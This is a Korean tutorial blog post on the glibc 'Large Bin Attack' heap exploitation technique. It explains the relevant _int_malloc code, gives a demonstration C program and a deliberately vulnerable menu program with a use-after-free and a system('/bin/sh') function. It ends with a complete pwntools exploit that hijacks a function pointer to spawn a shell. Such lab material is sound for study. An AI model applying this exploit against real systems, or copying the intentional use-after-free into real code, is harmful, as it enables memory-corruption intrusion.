공격조건
unsorted bin 청크를 만들 수 있어야 한다.
large bin 청크를 만들 수 있어야 한다.
해제된 large bin의 BK, bk_nextsize를 조작할 수 있어야 한다.
libc 2.23에서 가능 2.27 안됨
Large Bin Attack 이란?
해제된 large bin을 조작하여 원하는 주소에 힙 청크의 주소를 덮어쓸 수 있는 공격 기법이다.
예시
일반적인 Large bin 의 연결(가장 큰 청크보다는 작고 같은 크기의 chunk없을 때)
//_int_malloc
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
...
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
...
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}//(1)
bck = fwd->bk;
}
}
else
...
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//(2)
이런 과정을 거친다.
(1)번 이후에는 이렇게 된다.
그리고 (2)번을 거치면 최종적으로 연결과정이 종료된다.
예제
// gcc -o largebin1 largebin1.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long var1 = 0, var2 = 0;
unsigned long *p1, *p2, *p3;
p1 = malloc(0x300); malloc(0x100);
p2 = malloc(0x400); malloc(0x100);
p3 = malloc(0x410); malloc(0x100);
free(p1);
// unsorted bin : P1
free(p2);
// unsorted bin : P2 -> P1
malloc(0x100); //P1에서 0x100 뜯어옴
// unsorted bin : P1
// large bin : P2
free(p3);
// unsorted bin : P3 -> P1
// large bin : P2
//(3)
p2[1] = (unsigned long)(&var1 - 2);
p2[3] = (unsigned long)(&var2 - 4);
fprintf(stderr, "var1(%p): %p\\n", &var1, (void *)var1);
fprintf(stderr, "var2(%p): %p\\n", &var2, (void *)var2);
malloc(0x90); //P1에서 0x90 뜯어옴
// unsorted bin : P1
// large bin : P3 -> P2
fprintf(stderr, "var1(%p): %p\\n", &var1, (void *)var1);
fprintf(stderr, "var2(%p): %p\\n", &var2, (void *)var2);
return 0;
}
예제를 보자
여기서 3번까지의 과정은 이렇다.
그런데 여기서 P2의 bk를 &var1 - 2 로 bk_nextsize를 $var2 - 4 로 조작한다.
조작 후 malloc이 이루어지면 unsorted bin에 있는 P3가 Large bin에 들어오면
//_int_malloc
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
...
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
...
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//(1)
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}//(2)
bck = fwd->bk;
}
}
else
...
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
//(3)
bck->fd = victim;
//(4)
가 실행된다. (1)번 까지 실행했을 때 결과를 보자.
그리고 아래와 같은 명령어로 인해 victim이 VAR2에 써진다.
victim->bk_nextsize->fd_nextsize = victim;
그래서 결국 (2)까지 실행 결과를 보면 이렇게 된다.
그리고 아래의 명령어를 추가적으로 실행한다.
(3)번까지의 실행결과를 보자
(3)번 이후
bck->fd = victim;
이 명령어를 통해서 VAR1에 victim이 쓰여진다.
간단한 예제
// gcc -o largebin2 largebin2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
typedef struct counter {
char name[0x20];
int count;
void (*func)(void *);
} counter;
void print_count(counter *c) {
printf("%s: %d\\n", c->name, c->count);
}
void giveshell() {
system("/bin/sh");
}
counter *c;
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
// [C]
c = (counter *)malloc(sizeof(counter));
strcpy(c->name, "Loop Count: ");
c->count = 0;
c->func = print_count;
char *ptr[20] = {0,};
int i = 0;
int size = 0;
int index;
int select;
while(1){
printf("1. Add\\n");
printf("2. Free\\n");
printf("3. Edit\\n");
printf("4. Loop Count\\n");
printf(">");
scanf("%d",&select);
switch(select) {
case 1:
if( i >= 20 ) {
break;
}
printf("Size: ");
scanf("%d",&size);
if(size < 0x100) {
printf("small\\n");
break;
}
ptr[i] = malloc(size);
printf("alloc\\n");
i++;
break;
case 2:
printf("Index: ");
scanf("%d", &index);
free(ptr[index]);
break;
case 3:
printf("Index: ");
scanf("%d", &index);
printf("Data: ");
scanf("%s",ptr[index]);
break;
case 4:
c->func(c);
break;
default:
return 0;
}
c->count++;
}
}
1 번을 누르면 malloc을 한다.
2 번을 누르면 index로 free를 한다.
3 번을 누르면 index로 수정을 할 수 있다.
이때 index를 free하고 3번으로 수정이 가능하다. 그래서 large bin attack이 가능해진다.
익스코드를 보자.
from pwn import *
p = process("./lba2")
pause()
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'768')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'1024')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'1040')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'0')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'2')
#(1)
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'4')
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'2')
c = 0x6010a0 - 0x10
bk = p64(0)
bk += p64(c)
#c2 = 0x6010a0 - 0x20
#bk += p64(0)
#bk += p64(c2)
p.sendlineafter(b'Data: ', bk)
#(2)
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'4')
fdbk = b'A'*0x10
# fdbk += p64(0)
# fdbk += p64(0)
# fdbk += p64(0)
fdbk += p64(0)
giveshell = 0x400852
fdbk += p64(giveshell)
p.sendlineafter(b'Data: ', fdbk)
p.sendlineafter(b">", b'4')
p.interactive()
- (1) 번까지 실행된다면 0, 2번 chunk가 unsorted bin에 들어가게 된다.
- 그리고 0x100을 할당해서 2번 chunk를 largebin으로 보낸다.
- 그리고 4번 chunk를 free하여 unsorted bin 에 넣는다.
- 그리고 (2) 번까지 실행해서 largebin에 있는 2번 chunk의 bk를 c - 0x10으로 조작한다. 그러면 c의 포인터에 victim의 주소를 넣을 수 있다.
- 그리고 0x100을 할당하여 4번 chunk를 largebin에 넣는다. 그러면서 c의 포인터에 4번 chunk의 주소가 들어간다.(0x100 이상의 할당을 해야 한다는 조건이 걸려있다….ㅅㅂ)
- 그리고 3번으로 4번 chunk를 수정해서 0x18 크기의 쓰레기값과 give shell 함수의 주소를 넣는다.
- 기존의 c포인터는 data부터 가리켜서 [주소] + [0x28] 을 해야했다. 하지만 변조된 주소는 prev_size부터 가리키니 [prev_size+size] + [0x18]을 하면 된다.
- 그리고 4번을 눌러서 give shell을 실행할 수 있다.
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
House of Lore (1) | 2023.11.27 |
---|---|
House of Spirit (0) | 2023.11.27 |
Overlapping chunks (1) | 2023.11.22 |
unsorted bin attack & memory leak (0) | 2023.11.18 |
fastbin dup, fastbin dup consolidate & Unsafe unlink (0) | 2023.11.18 |